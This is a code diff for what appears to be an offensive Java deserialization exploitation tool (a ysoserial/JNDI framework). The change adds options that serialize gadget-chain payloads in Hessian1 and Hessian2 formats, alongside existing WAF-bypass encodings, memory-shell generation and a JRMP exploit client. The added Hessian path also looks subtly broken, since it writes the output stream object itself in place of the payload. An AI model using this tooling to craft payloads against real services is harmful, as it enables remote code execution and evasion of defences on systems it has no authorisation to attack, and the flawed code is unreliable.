hessian类型的Payload

src/main/java/com/qi4l/jndi/controllers/ysoserial.java

@@ -101,6 +101,14 @@ public class ysoserial {
             Config.IS_UTF_Bypass = true;
         }
 
+        if (cmdLine.hasOption("Hessian1")) {
+            Config.IS_Hessian1 = true;
+        }
+
+        if (cmdLine.hasOption("Hessian2")) {
+            Config.IS_Hessian2 = true;
+        }
+
         if (cmdLine.hasOption("gen-mem-shell")) {
             Config.GEN_MEM_SHELL = true;
 
@@ -189,6 +197,8 @@ public class ysoserial {
         options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
         options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
         options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
+        options.addOption("he1", "Hessian1", false, "Hessian1 Output");
+        options.addOption("he2", "Hessian2", false, "Hessian2 Output");
         return options;
     }
 

src/main/java/com/qi4l/jndi/exploit/JRMPClient.java

@@ -14,7 +14,7 @@ import java.net.*;
 /**
  * Generic JRMP client
  * <p>
- * Pretty much the same thing as {@link RMIRegistryExploit} but
+ * Pretty much the same thing as {@link RMIBindExploit} but
  * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
  * - not deserializing anything (so you don't get yourself exploited ;))
  *

src/main/java/com/qi4l/jndi/gadgets/Config/Config.java

@@ -81,6 +81,8 @@ public class Config {
     // 是否在序列化数据流中的 TC_RESET 中填充脏数据
     public static Boolean IS_DIRTY_IN_TC_RESET = false;
     public static Boolean IS_UTF_Bypass = false;
+    public static Boolean IS_Hessian1 = false;
+    public static Boolean IS_Hessian2 = false;
     // 填充的脏数据长度
     public static int DIRTY_LENGTH_IN_TC_RESET = 0;
 

src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java

@@ -1,6 +1,6 @@
 package com.qi4l.jndi.gadgets.utils;
 
-import com.qi4l.jndi.gadgets.Config.Config;
+import com.caucho.hessian.io.*;
 import com.qi4l.jndi.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
 
 import java.io.ByteArrayOutputStream;
@@ -9,8 +9,7 @@ import java.io.ObjectOutputStream;
 import java.io.OutputStream;
 import java.util.concurrent.Callable;
 
-import static com.qi4l.jndi.gadgets.Config.Config.IS_DIRTY_IN_TC_RESET;
-import static com.qi4l.jndi.gadgets.Config.Config.IS_UTF_Bypass;
+import static com.qi4l.jndi.gadgets.Config.Config.*;
 
 public class Serializer implements Callable<byte[]> {
     private final Object object;
@@ -35,16 +34,32 @@ public class Serializer implements Callable<byte[]> {
     }
 
     public static void qiserialize(Object obj, final OutputStream out) throws Exception {
-        final ObjectOutputStream objOut;
+        ObjectOutputStream    objOut  = null;
+        AbstractHessianOutput AobjOut = null;
 
         if (IS_DIRTY_IN_TC_RESET) {
             objOut = new SuObjectOutputStream(out);
         } else if (IS_UTF_Bypass) {
             objOut = new UTF8OverlongObjectOutputStream(out);
-        } else {
+        } else if (IS_Hessian1) {
+            AobjOut = new HessianOutput(out);
+            NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
+            sf.setAllowNonSerializable(true);
+            AobjOut.setSerializerFactory(sf);
+        } else if (IS_Hessian2) {
+            AobjOut = new Hessian2Output(out);
+            NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
+            sf.setAllowNonSerializable(true);
+            AobjOut.setSerializerFactory(sf);
+        }else {
             objOut = new ObjectOutputStream(out);
         }
-        objOut.writeObject(obj);
+
+        if (IS_Hessian1 || IS_Hessian2) {
+            AobjOut.writeObject(AobjOut);
+        } else {
+            objOut.writeObject(obj);
+        }
     }
 
     public byte[] call() throws Exception {
@@ -62,7 +77,7 @@ public class Serializer implements Callable<byte[]> {
             super.writeStreamHeader();
             try {
                 // 写入
-                for (int i = 0; i < Config.DIRTY_LENGTH_IN_TC_RESET; i++) {
+                for (int i = 0; i < DIRTY_LENGTH_IN_TC_RESET; i++) {
                     Reflections.getMethodAndInvoke(Reflections.getFieldValue(this, "bout"), "writeByte", new Class[]{int.class}, new Object[]{TC_RESET});
                 }
             } catch (Exception e) {
@@ -71,4 +86,32 @@ public class Serializer implements Callable<byte[]> {
         }
     }
 
+    public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
+
+        /**
+         * {@inheritDoc}
+         *
+         * @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class)
+         */
+        @Override
+        public com.caucho.hessian.io.Serializer getObjectSerializer (Class<?> cl ) throws HessianProtocolException {
+            return super.getObjectSerializer(cl);
+        }
+
+        /**
+         * {@inheritDoc}
+         *
+         * @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class)
+         */
+        @Override
+        public com.caucho.hessian.io.Serializer getSerializer (Class cl ) throws HessianProtocolException {
+            com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl);
+
+            if ( serializer instanceof WriteReplaceSerializer ) {
+                return UnsafeSerializer.create(cl);
+            }
+            return serializer;
+        }
+    }
+
 }